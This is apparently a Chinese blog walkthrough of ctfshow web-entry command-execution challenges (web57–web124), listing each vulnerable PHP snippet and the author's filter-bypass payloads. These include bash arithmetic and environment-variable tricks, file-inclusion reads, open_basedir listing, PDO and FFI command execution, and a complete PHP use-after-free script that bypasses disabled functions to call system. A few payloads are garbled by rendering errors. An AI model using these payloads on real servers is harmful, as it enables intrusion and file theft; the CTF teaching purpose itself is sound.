您现在的位置是:首页 >学无止境 >ctfshow+web入门(命令执行)网站首页学无止境

ctfshow+web入门(命令执行)

树脂与鸡脚 2024-07-04 11:18:00
简介ctfshow+web入门(命令执行)

web57

<?php 

  /* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-08 01:02:56 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 
*/ 

  // 还能炫的动吗? 
  //flag in 36.php 
  if(isset($_GET['c'])){ 
  $c=$_GET['c']; 
if(!preg_match("/;|[a-z]|[0-9]|`||#|'|"|`|\%|x09|x26|x0a|>|<|.|,|?|*|-|=|[/i", $c)){ 
  system("cat ".$c.".php"); 
} 
}else{ 
  highlight_file(__FILE__); 
} 

根据题目我们可以知道flag在36.php里面,只需要传一个36进去就好,但是这里字母和数字都被过滤了
这里需要用到一个linux函数的特性 $(()) ,当参数为空是,返回默认为0,0取反为-1,一直相加的话到-36再取反即可
试了好久才得到36
图片.png

 $((~ $(( $((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))  ))    ))

直接get即可
然后返回页面中查看源码

?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{01333dbd-e660-4b0a-a8e1-efc5ba838ff7}";

web58

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

这道题的话很明显啊,直接post传参进去调用系统函数
c=system(cat flag.php);发现一些常用的函数被禁用了
图片.png这里我们知道 /var/www/html/ 目录中只有 index.php 和 flag.php 两个文件,因此直接读取flag.php
直接读取文件内容
c=echo file_get_contents(‘flag.php’);

web59

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

这里的话上道题的文件读取被禁了,可以试试include
c=include($_GET[1])
然后再get上传?1=php://filter/convert.base64-encode/resource=flag.php(这里有一说一,群主自用hack bar 是真的好用)
图片.png
得到结果后直接再解码回来就可以
图片.png

web60

这里代码同上只不过隐藏过滤的函数更多了
其实这道题用上一个的payload也可以做出来,不过这里学到了一个新姿势通过日志来getshell
先上传一下
图片.png暂时没有回显
图片.png发现可以使用,不过我们本来就可以命令执行,大聪明却绕了一圈(仅作学习请勿参考hhhhhhhhh)
发现题目中存在函数highlight_file(),那肯定是没有禁止,试了一下果然可以
c=highlight_file(‘flag.php’);
图片.png

web61

代码还是一样
这里可以尝试c=highlight_file(‘flag.php’);和c=show_source(‘flag.php’);

web62

还是一样
可以利用上题代码进行白嫖
这里又学到一个骚姿势
直接使用文件包含然后echo输出
c=include(‘flag.php’);echo ($flag);
图片.png

web63

继续白嫖hhhhhh
又是一个骚操作
c=var_dump(get_defined_vars());
查看定义的变量
图片.png
c=include(‘flag.php’);var_dump(get_defined_vars());(相当于把flag这个变量注册进去了)
图片.png

web64

老规矩先白嫖发现可以hhhhhhh
rename()重命名也是一种方法可惜这里被禁了

web65

我继续白嫖hhhhh
不过还有curl的方法这道题也被禁了,简单网上copy个代码改一下

//初始化
$curl = curl_init();
//设置抓取的url
curl_setopt($curl, CURLOPT_URL, 'http://www.baidu.com');//这里替换url即可
//设置头文件的信息作为数据流输出
curl_setopt($curl, CURLOPT_HEADER, 1);
//设置获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
//执行命令
$data = curl_exec($curl);
//关闭URL请求
curl_close($curl);
//显示获得的数据
print_r($data);

想再试试远程文件获取c=file_get_contents(‘flag.php’);
果然也被禁了(还是白嫖之前的highlight_file()和show_source())

web66

终于之前白嫖的不能用了
图片.png
明明highlight_file()是可以的
然后看看是不是改名字或者换位置了
先看看当前目录是啥
c=var_dump(scandir(‘.’));
图片.png
这里面的这个flag是假的,然后在上一级目录找找
上一级目录也没有,最后在根目录里面发现了
图片.png
然后还是白嫖之前的函数,不过文件的位置要变一下
仔细一试发现show_source()被禁了,不过可以用highlight_file()
c=highlight_file(‘/flag.txt’);

web67

终于又可以白嫖了,位置没变上次的payload继续用

web68

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

这把连highlight_file()都禁了,明显不让白嫖了hhhhhhhh
一样先扫目录发现还是在根目录里
使用文件包含
c=include(‘/flag.txt’);

web69

这次可以继续白嫖上一题hhhhhhhh

web70


Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

这道题可以继续白嫖上面的,虽然禁的函数多了,暂时还没到咱们用的那个hhhhhhh

web71

终于71白嫖上题失败了,并且回显的字符全是问号,不过可以下载附件,咱们先看看

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

这波的话他直接清空缓冲区了,并且还不给你报错了,全是?
这次想着从中间给他断开,直接exit退出
c=include(‘/flag.txt’);exit();
直接退出不给他执行后面命令的机会

web72

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

open_basedir限制了你读取目录
这里只好用glob来协议绕过扫描一下
c= $a=“glob:///*”;
if($b=opendir($a)){
while (($file=readdir($b))!==false)
{echo KaTeX parse error: Expected 'EOF', got '}' at position 16: file." ";<br />}̲<br />closedir(b);
};
发现了文件flag0.txt
然后需要用到uaf脚本来绕过了hhhhhhh,感谢群主提供的脚本

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

将脚本编码一下就ok了

web73

这道题本来想白嫖上道的payload,结果发先不可以了,有个函数被禁了,不过小问题找个替换函数即可
图片.png先看下这个是干啥用的
strlen函数:计算的是字符串str的长度,从字符的首地址开始遍历,以 ‘’ 为结束标志,然后将计算的长度返回,计算的长度并不包含’’。
自己写出功能替代他

function strlen_users($s){
   return count(str_split($s));
}

然后发现还报错
扫描目录

c=$a="glob:///*.txt";
if($b=opendir($a)){
while (($file=readdir($b))!==false)
{echo $file." ";
}
closedir($b);
};
exit();

发现改名了,成了flagc.txt
本来想替换函数的,结果到最后还是不行,后来发现这道没有禁include(兜兜转转最后还是你hhhhhhh)
c=include(‘/flagc.txt’);exit();

web74

这次扫描目录发现名字变了,不过可以继续用include
c=include(‘/flagx.txt’);exit();

web75

这道题虽然还可以扫描,发现了flag36.txt,但是include被禁用了
不过还好学到一个新姿势连接数据库

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

这边也是顺利拿下了flag(我是试时候在火狐失败了,不过在google可以hhhhhh)

web76

还是老规矩先扫描,发现改名了 flag36d.txt(咱也不知道是故意的还是不小心的)
继续利用上道题的payload
居然可以用,改个名字就好,爽歪歪

web77

也是先扫描文件发现 flag36x.txt
然后试试上题代码结果could not find driver
这次要用到他的一个特性

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

然后再访问1.txt即可

web118

这次换成有界面的了hhhhhhh
这次题中有讲flag in flag.php,所以确定了位置
然后试了好多命令都被禁了,看看他的提示
本来他是有张提示的图片的,可惜现在打不开了,凑合看一下
图片.png可以试试剪裁,他的环境变量里面有n有l,试试拼接nl
$PWD是显示当前的目录最后一位正好是L
$PATH是显示环境变量/bin最后一位是N
进行拼接 ${PATH:A}${PWD:A}$IFS???.???
查看源码即可

web119

本来想白嫖的,发现也被禁了hhhhh
最后payload是${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}: ${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}???.???
主要是题目中的PHP_CFLAGS中存在tac,所以一直构造数字来取到tac
图片.png

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/x09|x0a|[a-z]|[0-9]|PATH|BASH|HOME|/|(|)|[|]|\\|+|-|!|=|^|*|x26|\%|<|>|'|"|`|||,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这把被禁了好多,本来想白嫖上道题的payload,但是呢发现长度太长了,超过了他限制的65个字符
${PHP_VERSION:?:?} ???.???花括号里面的?要表示3,所以呢这波留给我们构造的字符只有20个,太少了不够用
然后思考base64 flag.php
???${#PHP_VERSION}${PHP_CFLAGS:~A}
这个执行发现没有响应
用绝对路径试一下/bin/base64 flag.php
构造/的话用到${PWD:: ${#SHLVL}}
4是用的PHP_CFLAGS最后一位(后来发现超出大小了)
摇色子吧hhhhhhh${#RANDOM}
payload ${PWD:: ${#SHLVL}}???${PWD:: ${#SHLVL}}???${#RANDOM} ???.???
这道题的离谱之处在于我的火狐浏览器POST传就会出问题,而我用谷歌就正常,哎

web121


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/x09|x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|/|(|)|[|]|\\|+|-|_|~|!|=|^|*|x26|\%|<|>|'|"|`|||,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

先白嫖发现不行了
这把发现SHLVL被禁了,这里我们需要一个1
试了好多次都不太行,用一个坤术
$? 代表上一次命令执行的结果,1为不正常,0为正常
所以先随便输一个错误的然后再利用payload碰运气(不过这个几率还是很大的啊,我一次就成了,不会搞很多次)
${PWD:: ${#?}}???${PWD:: ${#?}}???${#RANDOM} ???.???

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/x09|x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|/|(|)|[|]|\\|+|-|_|~|!|=|^|*|x26|#|%|>|'|"|`|||,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这道题过滤了#,PWD不过前面?把#删掉也问题不大,看看后面#RANDOM怎么办
也改用?,然后把PWD换成HOME,不过这样的话就要多试几次了
code=<A;${HOME:: $?}???${HOME:: KaTeX parse error: Expected 'EOF', got '}' at position 2: ?}̲?????{RANDOM:: $?} ???.???
注意别点过头了把正确的给跳过去

web124

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '	', '
', '
',''', '"', '`', '[', ']'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

这里只能用他给出的数学函数,这里尝试构造出一个get出来,使用get传参
_GET转成十六进制是0x5f474554,由十六进制转为十进制1598506324。
可以利用数学函数,由十进制转成字符。这需要用到两个函数dechex()、hex2bin()。
_GET=hex2bin(dechex(1598506324))
dechex():十进制转十六进制
hex2bin():十六进制转二进制,返回 ASCII 字符
base_convert(number,frombase,tobase):可以在任意进制之间转换数字
_GET=base_convert(37907361743,10,36)(dechex(1598506324))
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php
然后源码即可查看

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。